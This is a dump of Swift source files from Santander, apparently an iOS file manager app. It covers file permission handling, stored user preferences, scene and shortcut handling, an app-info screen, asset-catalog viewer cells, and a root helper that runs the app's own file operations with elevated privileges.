case "ascending":
self = .ascending
case "descending":
self = .descending
default:
self = .ascending // Default to ascending
}
}
static var userPreferred: SortOrder {
guard let rawValue = UserDefaults.standard.string(forKey: "SortOrder") else {
return .ascending
}
return self.init(rawValue: rawValue)
}
var description: String {
switch self {
case .ascending:
return "Ascending"
case .descending:
return "Descending"
}
}
/// The SF Symbol name of the sort order
var imageSymbolName: String {
switch self {
case .ascending:
return "chevron.up"
case .descending:
return "chevron.down"
}
}
func toggling() -> SortOrder {
switch self {
case .ascending:
return .descending
case .descending:
return .ascending
}
}
}
================================================
FILE: Santander/Other/Permissions.swift
================================================
//
// Permissions.swift
// Santander
//
// Created by Serena on 05/08/2022.
//
import Foundation
/// Represents the permissions of a path in POSIX Style
struct Permission: OptionSet, CustomStringConvertible, Equatable {
public var rawValue: Int
/// Grants the permission to execute a file
static let execute = Permission(rawValue: 1)
/// Grants the permission to modify a file
static let write = Permission(rawValue: 2)
/// Grants the permission to read a file
static let read = Permission(rawValue: 4)
init(rawValue: Int) {
self.rawValue = rawValue
}
/// Initializes a new instant by checking the `st_mode` of the stat buffer
/// and matching the constants given.
/// see `ownerPermsConstants`, `groupPermsConstants`, and `otherUsersPermsConstants`
init(buffer: stat, constants: [UInt16: Permission]) {
self = constants.filter { (constant, _) in
return (buffer.st_mode & constant) != 0
}
.map(\.value)
.reducingToSingleOptionSet()
}
var binaryRepresentation: String {
var b = String(rawValue, radix: 2)
while b.count < 3 { b = "0" + b }
return b
}
var description: String {
return "Readable: \(contains(.read)), Writable: \(contains(.write)), Executable: \(contains(.execute))"
}
static func binaryRepresentation(of permissions: [Permission]) -> String {
return permissions.map { $0.binaryRepresentation }.joined()
}
static func octalRepresentation(of permissions: [Permission]) -> Int {
let binary = binaryRepresentation(of: permissions)
return Int(binary, radix: 2)!
}
/// A dictionary representing the constants which could be checked
/// for the owner permissions of a path
static let ownerPermsConstants: [UInt16: Permission] = [
S_IRUSR: .read,
S_IWUSR: .write,
S_IXUSR: .execute
]
/// A dictionary representing the constants which could be checked
/// for the group permissions of a path
static let groupPermsConstants: [UInt16: Permission] = [
S_IRGRP: .read,
S_IWGRP: .write,
S_IXGRP: .execute
]
/// A dictionary representing the constants which could be checked
/// for the permissions of other users of a path
static let otherUsersPermsConstants: [UInt16: Permission] = [
S_IROTH: .read,
S_IWOTH: .write,
S_IXOTH: .execute
]
}
/// Represents the permissions of a path,
/// including permissions for owner, group, and other users
struct PathPermissions: Equatable {
let fileURL: URL
var ownerPermissions: Permission
var groupPermissions: Permission
var otherUsersPermissions: Permission
var ownerName: String?
var groupOwnerName: String?
init?(fileURL: URL) {
var buffer = stat()
guard lstat(fileURL.path, &buffer) == 0 else {
return nil
}
self.ownerPermissions = Permission(buffer: buffer, constants: Permission.ownerPermsConstants)
self.groupPermissions = Permission(buffer: buffer, constants: Permission.groupPermsConstants)
self.otherUsersPermissions = Permission(buffer: buffer, constants: Permission.otherUsersPermsConstants)
let attrs = try? FileManager.default.attributesOfItem(atPath: fileURL.path)
self.ownerName = attrs?[.ownerAccountName] as? String
self.groupOwnerName = attrs?[.groupOwnerAccountName] as? String
self.fileURL = fileURL
}
init(fileURL: URL, ownerPermissions: Permission, groupPermissions: Permission, otherUsersPermissions: Permission, ownerName: String? = nil, groupOwnerName: String? = nil) {
self.fileURL = fileURL
self.ownerPermissions = ownerPermissions
self.groupPermissions = groupPermissions
self.otherUsersPermissions = otherUsersPermissions
self.ownerName = ownerName
self.groupOwnerName = groupOwnerName
}
func apply() throws {
try fileURL.setPermissions(forOwner: ownerPermissions, group: groupPermissions, others: otherUsersPermissions)
}
}
================================================
FILE: Santander/Other/Preferences/Storage.swift
================================================
//
// Storage.swift
// Santander
//
// Created by Serena on 06/07/2022
//
import Foundation
@propertyWrapper
struct Storage<T> {
let key: String
let defaultValue: T
init(key: String, defaultValue: T) {
self.key = key
self.defaultValue = defaultValue
}
var wrappedValue: T {
get {
return UserDefaults.standard.object(forKey: key) as? T ?? defaultValue
}
set {
UserDefaults.standard.set(newValue, forKey: key)
}
}
}
@propertyWrapper
struct CodableStorage<T: Codable> {
typealias ChangeHandler = ((T) -> ())
let key: String
let defaultValue: T
var didChange: ChangeHandler?
init(key: String, defaultValue: T, didChange: ChangeHandler?) {
self.key = key
self.defaultValue = defaultValue
self.didChange = didChange
}
var wrappedValue: T {
get {
guard let data = UserDefaults.standard.data(forKey: key),
let decoded = try? JSONDecoder().decode(T.self, from: data) else {
return defaultValue
}
return decoded
}
set {
guard let encoded = try? JSONEncoder().encode(newValue) else {
return
}
UserDefaults.standard.set(encoded, forKey: key)
didChange?(newValue)
}
}
}
================================================
FILE: Santander/Other/Preferences/UserPreferences.swift
================================================
//
// UserPreferences.swift
// Santander
//
// Created by Serena on 22/06/2022
//
import UIKit
/// Contains user preferences used in the Application
enum UserPreferences {
@Storage(key: "UseLargeNavTitles", defaultValue: true)
static var useLargeNavigationTitles: Bool
/// Bookmarked paths saved by the user, stored as Data.
/// see URL.bookmarkData
@Storage(key: "BookmarksData", defaultValue: [])
static private var _bookmarksData: [Data]
/// Bookmarked paths by saved the user
static var bookmarks: Set<Path> {
get {
var dataArr = self._bookmarksData
let arr: [Path] = dataArr.compactMap { data in
var isStale: Bool = false
guard let url = try? URL(resolvingBookmarkData: data, bookmarkDataIsStale: &isStale) else { return nil }
// replace if stale
if isStale, let indx = dataArr.firstIndex(of: data), let urlData = try? url.bookmarkData() {
dataArr[indx] = urlData
self._bookmarksData = dataArr
}
return Path(url: url)
}
return Set(arr)
}
set {
_bookmarksData = newValue.compactMap { url in
try? url.url.bookmarkData()
}
if displayRecentlyBookmarked {
// put last 5 items as the short cut items
let bookmarks: [Path] = newValue.suffix(5)
UIApplication.shared.setShortcutItems(intoURLs: bookmarks)
}
}
}
@Storage(key: "AlwaysShowSearchBar", defaultValue: true)
static var alwaysShowSearchBar: Bool
@Storage(key: "ShowInfoButton", defaultValue: false)
static var showInfoButton: Bool
@Storage(key: "LastOpenedPath", defaultValue: nil)
static var lastOpenedPath: String?
@Storage(key: "UseLastOpenedPathWhenLaunching", defaultValue: true)
static var useLastOpenedPathWhenLaunching: Bool
@Storage(key: "UserPreferredLaunchPath", defaultValue: nil)
static var userPreferredLaunchPath: String?
@Storage(key: "TextEditorWrapLines", defaultValue: true)
static var wrapLines: Bool
@Storage(key: "TextEditorShowLineCount", defaultValue: true)
static var showLineCount: Bool
@Storage(key: "TextEditorUseCharacterPairs", defaultValue: true)
static var useCharacterPairs: Bool
/// The amount of seconds in the go forward / go backward buttons in the `AudioPlayerViewController`
@Storage(key: "AudioVCSkipDuration", defaultValue: 15)
static var skipDuration: Int
/// The speed of the audio in the `AudioPlayerViewController`
@Storage(key: "AudioVCSpeed", defaultValue: 1)
static var audioVCSpeed: Float
/// Whether or not to display files whose name starts with a dot
@Storage(key: "displayHiddenFiles", defaultValue: true)
static var displayHiddenFiles: Bool
/// The user interface style (dark, light, system) which the user choses to use
@Storage(key: "userIntefaceStyle", defaultValue: UIUserInterfaceStyle.unspecified.rawValue)
static var preferredInterfaceStyle: Int
@Storage(key: "userPreferredTableViewStyle", defaultValue: UITableView.Style.insetGrouped.rawValue)
static var preferredTableViewStyle: Int
@Storage(key: "FontViewerFontSize", defaultValue: 30)
static var fontViewerFontSize: CGFloat
@Storage(key: "AssetCatalogControllerLayoutMode", defaultValue: AssetCatalogViewController.LayoutMode.verical.rawValue)
static var assetCatalogControllerLayoutMode: Int
@Storage(key: "RootHelperEnabled", defaultValue: false)
static var rootHelperIsEnabled: Bool
@Storage(key: "DisplayRecentlyUsedPathsInAppShortcuts", defaultValue: true)
static var displayRecentlyBookmarked: Bool
@CodableStorage(key: "PathGroups", defaultValue: [.default], didChange: { groups in
NotificationCenter.default.post(name: .pathGroupsDidChange, object: groups)
})
static var pathGroups: [PathGroup]
/// The path to launch upon opening the program,
/// if this is nil, use `URL.root` instead.
static var launchPath: String? {
useLastOpenedPathWhenLaunching ? lastOpenedPath : userPreferredLaunchPath
}
@CodableStorage(key: "TextEditorTheme", defaultValue: CodableTextEditorTheme(), didChange: nil)
static var textEditorTheme: CodableTextEditorTheme
@CodableStorage(key: "AppTintColor", defaultValue: CodableColor(.systemBlue), didChange: nil)
static var appTintColor: CodableColor
}
/// A Group containing paths
struct PathGroup: Codable, Hashable {
let name: String
var paths: [URL]
static let `default` = PathGroup(name: "Default", paths: [.root])
func hash(into hasher: inout Hasher) {
hasher.combine(name)
hasher.combine(paths)
}
}
================================================
FILE: Santander/Other/RootHelper.swift
================================================
//
// FSOperation.swift
// Santander
//
// Created by Serena on 15/09/2022
//
import Foundation
@_exported import FSOperations // export FSOperations to rest of Santander module
import NSTaskBridge
struct RootConf: RootHelperConfiguration {
private init() {}
static let shared = RootConf()
func contents(of path: URL) throws -> [URL] {
let spawn = try spawn(command: try rootHelperURL(), args: ["get-contents", path.path])
return spawn.standardOutput.components(separatedBy: " ").map(URL.init(fileURLWithPath:))
}
private func rootHelperURL() throws -> URL {
guard let rootHelperURL = Bundle.main.url(forAuxiliaryExecutable: "RootHelper"),
FileManager.default.fileExists(atPath: rootHelperURL.path) else {
throw Errors.rootHelperUnavailable
}
return rootHelperURL
}
func perform(_ operation: FSOperation) throws {
let ret: Output
if case let .writeData(_, data) = operation {
ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation, standardInputData: data)
} else {
ret = try spawn(command: try rootHelperURL(), args: operation.commandLineInvokation)
}
guard ret.status == 0 else {
throw Errors.otherError(description: "Root helper returned non-zero status, error: \(ret.standardError)")
}
}
/*
shamelessly copied from
https://github.com/elihwyma/Pogo/blob/c25186f7a554407563174b32f3a34c21aedba22b/Pogo/CommandRunner.swift#L11
Modified tho
*/
func spawn(command: URL, args: [String], root: Bool = true, standardInputData: Data? = nil) throws -> Output {
var stdoutPipe: [Int32] = [0, 0]
var stderrPipe: [Int32] = [0, 0]
//var stdinPipe: [Int32] = [0, 0]
let bufsiz = Int(BUFSIZ)
pipe(&stdoutPipe)
pipe(&stderrPipe)
//pipe(&stdinPipe)
guard fcntl(stdoutPipe[0], F_SETFL, O_NONBLOCK) != -1,
fcntl(stderrPipe[0], F_SETFL, O_NONBLOCK) != -1/*,
fcntl(stdinPipe[0], F_SETFL, O_NONBLOCK) != -1*/ else {
let currentErrnoString = String(cString: strerror(errno))
throw Errors.otherError(description: "fnctl failed?! Error: \(currentErrnoString)")
}
/*
if let standardInputData {
standardInputData.withUnsafeBytes { rawBufferPtr in
let base = rawBufferPtr.baseAddress!
let writeAmount = write(stdinPipe[1], base, standardInputData.count)
NSLog("RootHelper: writeAmount: \(writeAmount)")
}
}
*/
let args: [String] = [command.lastPathComponent] + args
let argv: [UnsafeMutablePointer<CChar>?] = args.map { $0.withCString(strdup) }
defer { for case let arg? in argv { free(arg) } }
var fileActions: posix_spawn_file_actions_t?
if root {
posix_spawn_file_actions_init(&fileActions)
posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[0])
posix_spawn_file_actions_addclose(&fileActions, stderrPipe[0])
//posix_spawn_file_actions_addclose(&fileActions, stdinPipe[0])
posix_spawn_file_actions_adddup2(&fileActions, stdoutPipe[1], STDOUT_FILENO)
posix_spawn_file_actions_adddup2(&fileActions, stderrPipe[1], STDERR_FILENO)
//posix_spawn_file_actions_adddup2(&fileActions, stdinPipe[0], STDIN_FILENO)
posix_spawn_file_actions_addclose(&fileActions, stdoutPipe[1])
posix_spawn_file_actions_addclose(&fileActions, stderrPipe[1])
//posix_spawn_file_actions_addclose(&fileActions, stdinPipe[1])
}
var attr: posix_spawnattr_t?
posix_spawnattr_init(&attr)
posix_spawnattr_set_persona_np(&attr, 99, UInt32(POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE))
posix_spawnattr_set_persona_uid_np(&attr, 0)
posix_spawnattr_set_persona_gid_np(&attr, 0)
let env: [String]
if #available(iOS 15, *) {
// Rootless
env = [ "PATH=/usr/local/sbin:/var/jb/usr/local/sbin:/usr/local/bin:/var/jb/usr/local/bin:/usr/sbin:/var/jb/usr/sbin:/usr/bin:/var/jb/usr/bin:/sbin:/var/jb/sbin:/bin:/var/jb/bin:/usr/bin/X11:/var/jb/usr/bin/X11:/usr/games:/var/jb/usr/games"
]
} else {
env = ["PATH=/usr/bin:/usr/local/bin:/bin:/usr/sbin"]
}
let proenv = env.map { $0.withCString(strdup) }
defer {
for case let pro? in proenv {
free(pro)
}
}
var pid: pid_t = 0
let spawnStatus = posix_spawn(&pid, command.path, &fileActions, &attr, argv + [nil], proenv + [nil])
guard spawnStatus == 0 else {
NSLog("spawnStatus error: \(String(cString: strerror(errno)))")
throw Errors.failedToSpawnHelper
}
/*
if let standardInputData {
standardInputData.withUnsafeBytes { rawBufferPtr in
let base = rawBufferPtr.baseAddress!
let writeAmount = write(stdinPipe[1], base, standardInputData.count)
NSLog("RootHelper: writeAmount: \(writeAmount)")
}
}
*/
close(stdoutPipe[1])
close(stderrPipe[1])
//close(stdinPipe[1])
var stdoutStr = ""
var stderrStr = ""
let mutex = DispatchSemaphore(value: 0)
let readQueue = DispatchQueue(label: "com.serena.Santander.RootHelper",
qos: .userInitiated,
attributes: .concurrent,
autoreleaseFrequency: .inherit,
target: nil)
let stdoutSource = DispatchSource.makeReadSource(fileDescriptor: stdoutPipe[0], queue: readQueue)
let stderrSource = DispatchSource.makeReadSource(fileDescriptor: stderrPipe[0], queue: readQueue)
stdoutSource.setCancelHandler {
close(stdoutPipe[0])
mutex.signal()
}
stderrSource.setCancelHandler {
close(stderrPipe[0])
mutex.signal()
}
stdoutSource.setEventHandler {
let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)
defer { buffer.deallocate() }
let bytesRead = read(stdoutPipe[0], buffer, bufsiz)
guard bytesRead > 0 else {
if bytesRead == -1 && errno == EAGAIN {
return
}
stdoutSource.cancel()
return
}
let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]
array.withUnsafeBufferPointer { ptr in
let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))
stdoutStr += str
}
}
stderrSource.setEventHandler {
let buffer = UnsafeMutablePointer<UInt8>.allocate(capacity: bufsiz)
defer { buffer.deallocate() }
let bytesRead = read(stderrPipe[0], buffer, bufsiz)
guard bytesRead > 0 else {
if bytesRead == -1 && errno == EAGAIN {
return
}
stderrSource.cancel()
return
}
let array = Array(UnsafeBufferPointer(start: buffer, count: bytesRead)) + [UInt8(0)]
array.withUnsafeBufferPointer { ptr in
let str = String(cString: unsafeBitCast(ptr.baseAddress, to: UnsafePointer<CChar>.self))
stderrStr += str
}
}
stdoutSource.resume()
stderrSource.resume()
mutex.wait()
mutex.wait()
var status: Int32 = 0
waitpid(pid, &status, 0)
return Output(status: status, standardOutput: stdoutStr, standardError: stderrStr)
}
struct Output {
let status: CInt
let standardOutput: String
let standardError: String
}
var useRootHelper: Bool {
return UserPreferences.rootHelperIsEnabled
}
private enum Errors: Error, LocalizedError, CustomStringConvertible {
case rootHelperUnavailable
case unableToReadHelperOutput
case failedToSpawnHelper
case otherError(description: String)
var description: String {
switch self {
case .rootHelperUnavailable:
return "Root Helper unavailable? is your install messed up?"
case .unableToReadHelperOutput:
return "Unable to read root helper output"
case .failedToSpawnHelper:
return "Failed to spawn root helper"
case .otherError(let description):
return description
}
}
var errorDescription: String? {
description
}
}
}
================================================
FILE: Santander/Other/SantanderHeader.h
================================================
//
// SantanderHeader.h
// Santander
//
// Created by Анохин Юрий on 24.05.2023.
//
#import "grant_full_disk_access.h"
#import "helpers.h"
================================================
FILE: Santander/SceneDelegate.swift
================================================
//
// SceneDelegate.swift
// Santander
//
// Created by Serena on 21/06/2022
//
import UIKit
class SceneDelegate: UIResponder, UIWindowSceneDelegate {
var window: UIWindow?
var visibleSubPathsVc: PathListViewController? {
(window?.rootViewController as? UINavigationController)?.visibleViewController as? PathListViewController
}
func performShortcut(_ shortcut: UIApplicationShortcutItem) {
switch shortcut.type {
case "com.serena.santander.bookmarks":
let vc = UINavigationController(rootViewController: PathListViewController.bookmarks())
window?.rootViewController?.present(vc, animated: true)
default:
// URL, go to it.
if let pathToTopenTo = shortcut.userInfo?["ShortcutURLToOpenTo"] as? String {
visibleSubPathsVc?.goToPath(path: Path(stringLiteral: pathToTopenTo))
}
}
}
func windowScene(_ windowScene: UIWindowScene,performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) {
self.performShortcut(shortcutItem)
completionHandler(true)
}
func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {
// Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.
// If using a storyboard, the `window` property will automatically be initialized and attached to the scene.
// This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead).
guard let windowScene = (scene as? UIWindowScene) else { return }
let subPathsVC: PathTransitioning
let window = UIWindow(windowScene: windowScene)
if UIDevice.isiPad {
let splitVC = UISplitViewController(style: .doubleColumn)
let vc = PathSidebarListViewController()
subPathsVC = vc
splitVC.setViewController(vc, for: .primary)
window.rootViewController = splitVC
} else {
let vc = PathListViewController(style: .userPreferred, path: .root)
subPathsVC = vc
window.rootViewController = UINavigationController(rootViewController: vc)
}
DispatchQueue.main.async {
window.tintColor = UserPreferences.appTintColor.uiColor
window.overrideUserInterfaceStyle = UIUserInterfaceStyle(rawValue: UserPreferences.preferredInterfaceStyle) ?? .unspecified
}
self.window = window
// Needed on iPad so that the SplitViewController displays no matter orientation
(window.rootViewController as? UISplitViewController)?.show(.primary)
if let launchPath = UserPreferences.launchPath,
FileManager.default.fileExists(atPath: launchPath) {
subPathsVC.goToPath(path: Path(stringLiteral: launchPath))
}
window.makeKeyAndVisible()
// handle incoming URLs
self.scene(scene, openURLContexts: connectionOptions.urlContexts)
// handle possible shortcut clicked
if let shortcut = connectionOptions.shortcutItem {
self.performShortcut(shortcut)
}
}
func sceneDidDisconnect(_ scene: UIScene) {
// Called as the scene is being released by the system.
// This occurs shortly after the scene enters the background, or when its session is discarded.
// Release any resources associated with this scene that can be re-created the next time the scene connects.
// The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead).
}
func sceneDidBecomeActive(_ scene: UIScene) {
// Called when the scene has moved from an inactive state to an active state.
// Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive.
}
func sceneWillResignActive(_ scene: UIScene) {
// Called when the scene will move from an active state to an inactive state.
// This may occur due to temporary interruptions (ex. an incoming phone call).
}
func sceneWillEnterForeground(_ scene: UIScene) {
// Called as the scene transitions from the background to the foreground.
// Use this method to undo the changes made on entering the background.
}
func sceneDidEnterBackground(_ scene: UIScene) {
// Called as the scene transitions from the foreground to the background.
// Use this method to save data, release shared resources, and store enough scene-specific state information
// to restore the scene back to its current state.
}
// Path is being imported
func scene(_ scene: UIScene, openURLContexts URLContexts: Set<UIOpenURLContext>) {
// map them to file URLs instead of `santander://` URLs
let urls = URLContexts.map { ctx in
URL(fileURLWithPath: ctx.url.path)
}
guard !urls.isEmpty else {
return
}
let alertController = UIAlertController(title: "URL(s) being imported to app, would you like to copy it to another path?", message: nil, preferredStyle: .alert)
let copyAction = UIAlertAction(title: "Copy Path", style: .default) { _ in
self.window?.rootViewController?.present(UINavigationController(rootViewController: PathOperationViewController(paths: urls, operationType: .import)), animated: true)
}
alertController.addAction(copyAction)
// if there's just one item, display option to go it's path
if urls.count == 1 {
let viewItemAction = UIAlertAction(title: "View item", style: .default) { _ in
let item = urls[0]
let itemParentPath = item.deletingLastPathComponent()
let rootVC = self.window?.rootViewController as? UINavigationController
let vcToPush = PathListViewController(path: Path(url: itemParentPath))
rootVC?.pushViewController(vcToPush, animated: true) {
if let indx = vcToPush.contents.firstIndex(of: Path(url: item)) {
let indexPath = IndexPath(row: indx, section: 0)
vcToPush.tableView.scrollToRow(at: indexPath, at: .middle, animated: true)
vcToPush.tableView.selectRow(at: indexPath, animated: true, scrollPosition: .middle)
}
}
}
alertController.addAction(viewItemAction)
}
alertController.addAction(.cancel())
window?.rootViewController?.present(alertController, animated: true)
}
}
fileprivate extension UINavigationController {
func pushViewController(_ viewController: UIViewController, animated: Bool, completion: @escaping (() -> Void)) {
pushViewController(viewController, animated: animated)
guard animated, let coordinator = transitionCoordinator else {
completion()
return
}
coordinator.animate(alongsideTransition: nil) { _ in completion() }
}
}
================================================
FILE: Santander/UI/AppInfoViewController.swift
================================================
//
// AppInfoViewController.swift
// Santander
//
// Created by Serena on 15/08/2022.
//
import UIKit
import ApplicationsWrapper
/// A ViewController to display information about an app
class AppInfoViewController: UITableViewController {
let app: LSApplicationProxy
// used to go to a path if selected in the current view controller
let subPathsSender: PathListViewController
init(style: UITableView.Style, app: LSApplicationProxy, subPathsSender: PathListViewController) {
self.app = app
self.subPathsSender = subPathsSender
super.init(style: style)
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func viewDidLoad() {
super.viewDidLoad()
navigationItem.titleView = UIImageView(image: ApplicationsManager.shared.icon(forApplication: app))
}
override func numberOfSections(in tableView: UITableView) -> Int {
return 5
}
override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
switch section {
case 0:
return app.claimedURLSchemes.isEmpty ? 4 : 5
case 1:
return 2
case 2:
return 4
case 3:
return 2
case 4:
return 2
default:
fatalError("Unknown section! \(section)")
}
}
override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)
var conf = cell.defaultContentConfiguration()
defer {
cell.contentConfiguration = conf
}
switch (indexPath.section, indexPath.row) {
case (0, 0):
conf.text = "Name"
conf.secondaryText = app.localizedName()
case (0, 1):
conf.text = "Bundle ID"
conf.secondaryText = app.applicationIdentifier()
case (0, 2):
conf.text = "SDK Version"
conf.secondaryText = app.sdkVersion
case (0, 3):
conf.text = "Type"
conf.secondaryText = app.applicationType
case (0, 4):
conf.text = "URL schemes"
conf.secondaryText = app.claimedURLSchemes.joined(separator: ", ")
case (1, 0):
conf.text = "Team ID"
conf.secondaryText = app.teamID
case (1, 1):
conf.text = "Entitlements"
cell.accessoryType = .disclosureIndicator
case (2, 0):
conf.text = "Deletable"
conf.secondaryText = app.isDeletable ? "Yes" : "No"
case (2, 1):
conf.text = "Beta app"
conf.secondaryText = app.isBetaApp ? "Yes" : "No"
case (2, 2):
conf.text = "Restricted"
conf.secondaryText = app.isRestricted ? "Yes" : "No"
case (2, 3):
conf.text = "Containerized"
conf.secondaryText = app.isContainerized ? "Yes" : "No"
case (3, 0):
conf.text = "Container URL"
conf.secondaryText = app.containerURL().path
case (3, 1):
conf.text = "Bundle URL"
conf.secondaryText = app.bundleURL().path
case (4, 0):
conf.text = "Open"
conf.textProperties.color = .systemBlue
case (4, 1):
conf.text = "Delete"
conf.textProperties.color = .systemRed
default:
fatalError("Unknown indexPath: \(indexPath)")
}
return cell
}
override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {
switch indexPath.section {
case 3, 4:
return true
default:
return (indexPath.section, indexPath.row) == (1, 1) // entitlements
}
}
override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
switch (indexPath.section, indexPath.row) {
case (1, 1):
let dict = app.entitlements.asSerializedDictionary()
let vc = SerializedDocumentViewController(dictionary: dict, type: .plist(format: nil), title: "Entitlements", parentController: nil, canEdit: false)
self.navigationController?.pushViewController(vc, animated: true)
case (3, 0):
dismissAndGoToURL(app.containerURL())
case (3, 1):
dismissAndGoToURL(app.bundleURL())
case (4, 0):
do {
try ApplicationsManager.shared.openApp(app)
} catch {
self.errorAlert(error, title: "Unable to open \(app.localizedName())")
}
case (4, 1):
do {
try ApplicationsManager.shared.deleteApp(app)
self.dismiss(animated: true)
subPathsSender.tableView.reloadData()
} catch {
self.errorAlert(error, title: "Unable to delete app")
}
default:
break
}
}
func dismissAndGoToURL(_ url: URL) {
self.dismiss(animated: true)
subPathsSender.goToPath(path: Path(url: url))
}
}
================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogCell.swift
================================================
//
// AssetCatalogCell.swift
// Santander
//
// Created by Serena on 18/09/2022
//
import UIKit
import AssetCatalogWrapper
class AssetCatalogCell: UICollectionViewCell {
let nameLabel: UILabel = UILabel()
let subtitleLabel: UILabel = UILabel()
lazy var circleView: UIView? = rendition?.representation?.uiView
var rendition: Rendition?
}
extension AssetCatalogCell {
static let cellBackgroundColor: UIColor = .quaternarySystemFill
func configure() {
setupShape()
guard let rendition = rendition else { return }
nameLabel.text = rendition.name
subtitleLabel.text = makeSubtitleText(forRendition: rendition)
subtitleLabel.font = .preferredFont(forTextStyle: .caption1)
subtitleLabel.textColor = .secondaryLabel
let labelsStackView = UIStackView(arrangedSubviews: [nameLabel, subtitleLabel])
labelsStackView.translatesAutoresizingMaskIntoConstraints = false
labelsStackView.axis = .vertical
let stackView = UIStackView(arrangedSubviews: [labelsStackView])
stackView.translatesAutoresizingMaskIntoConstraints = false
stackView.spacing = 10
contentView.addSubview(stackView)
let guide = contentView.layoutMarginsGuide
if let circleView = circleView {
circleView.layer.cornerRadius = 20
circleView.layer.cornerCurve = .circular
circleView.translatesAutoresizingMaskIntoConstraints = false
stackView.insertArrangedSubview(circleView, at: 0)
NSLayoutConstraint.activate([
circleView.heightAnchor.constraint(equalTo: guide.heightAnchor),
circleView.widthAnchor.constraint(equalTo: guide.heightAnchor),
])
}
stackView.constraintCompletely(to: guide)
}
func makeSubtitleText(forRendition rend: Rendition) -> String {
return "Scale: \(rend.cuiRend.scale())" // todo: more info?
}
// IMPORTANT: Don't get rid of this, otherwise cells will start mixing with each other
// due to each one having the same reuseIdentifier by default..
override var reuseIdentifier: String? {
return rendition?.name
}
func setupShape() {
var bgConf = UIBackgroundConfiguration.clear()
bgConf.backgroundColor = AssetCatalogCell.cellBackgroundColor
bgConf.cornerRadius = 14
backgroundConfiguration = bgConf
}
}
================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogDetailsView.swift
================================================
//
// AssetCatalogDetailsView.swift
// Santander
//
// Created by Serena on 27/09/2022
//
import UIKit
import CoreUIBridge
#warning("get this working: A view which displays the details of an asset catalog")
class AssetCatalogDetailsView: UIView {
var catalog: CUICatalog
init(catalog: CUICatalog) {
self.catalog = catalog
super.init(frame: .zero)
let testLabel = UILabel()
testLabel.text = "Hello"
testLabel.translatesAutoresizingMaskIntoConstraints = false
addSubview(testLabel)
NSLayoutConstraint.activate([
testLabel.centerXAnchor.constraint(equalTo: centerXAnchor),
testLabel.leadingAnchor.constraint(equalTo: leadingAnchor)
])
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
}
================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogGridPreviewCell.swift
================================================
//
// AssetCatalogGridPreviewCell.swift
// Santander
//
// Created by Serena on 08/10/2022
//
import UIKit
import AssetCatalogWrapper
fileprivate extension CACornerMask {
static func alongEdge(_ edge: CGRectEdge) -> CACornerMask {
switch edge {
case .maxXEdge: return [.layerMaxXMinYCorner, .layerMaxXMaxYCorner]
case .maxYEdge: return [.layerMinXMaxYCorner, .layerMaxXMaxYCorner]
case .minXEdge: return [.layerMinXMinYCorner, .layerMinXMaxYCorner]
case .minYEdge: return [.layerMinXMinYCorner, .layerMaxXMinYCorner]
}
}
}
class AssetCatalogGridPreviewCell: UICollectionViewCell {
var rendition: Rendition!
var previewView: UIView!
func configure() {
var constraintCompletely: Bool = true
if let preview = rendition.representation {
previewView = preview.uiView
} else {
let noPreviewLabel = UILabel()
noPreviewLabel.text = "No Preview."
noPreviewLabel.textColor = .secondaryLabel
previewView = noPreviewLabel
constraintCompletely = false
}
previewView.clipsToBounds = true
previewView.contentMode = .scaleAspectFit
previewView.translatesAutoresizingMaskIntoConstraints = false
contentView.addSubview(previewView)
contentView.layer.cornerCurve = .continuous
contentView.layer.cornerRadius = 12.0
layer.shadowOpacity = 0.2
layer.shadowRadius = 6.0
pushCornerPropertiesToChildren()
if constraintCompletely {
previewView.constraintCompletely(to: contentView.layoutMarginsGuide)
} else {
NSLayoutConstraint.activate([
previewView.centerXAnchor.constraint(equalTo: contentView.centerXAnchor),
previewView.centerYAnchor.constraint(equalTo: contentView.centerYAnchor)
])
}
}
override var reuseIdentifier: String? {
rendition?.name
}
func pushCornerPropertiesToChildren() {
previewView.layer.maskedCorners = contentView.layer.maskedCorners.union(.alongEdge(.maxYEdge))
previewView.layer.cornerRadius = contentView.layer.cornerRadius
previewView.layer.cornerCurve = contentView.layer.cornerCurve
}
}
================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogRenditionViewController.swift
================================================
//
// AssetCatalogRenditionViewController.swift
// Santander
//
// Created by Serena on 01/10/2022
//
import UIKit
import AssetCatalogWrapper
class AssetCatalogRenditionViewController: UIViewController {
typealias DataSource = UICollectionViewDiffableDataSource<Section, ItemType>
typealias DetailCellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, DetailItem>
typealias ActionCellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, ItemAction>
typealias GridPreviewCellRegistration = UICollectionView.CellRegistration<AssetCatalogGridPreviewCell, Rendition>
var rendition: Rendition
var collectionView: UICollectionView!
var dataSource: DataSource!
var sender: AssetCatalogViewController?
init(rendition: Rendition, sender: AssetCatalogViewController?) {
self.rendition = rendition
self.sender = sender
super.init(nibName: nil, bundle: nil)
}
required init?(coder: NSCoder) {
fatalError("init(coder:) hasn't been implemented")
}
override func viewDidLoad() {
super.viewDidLoad()
title = "Info"
configureCollectionView()
configureDataSource()
addItems()
}
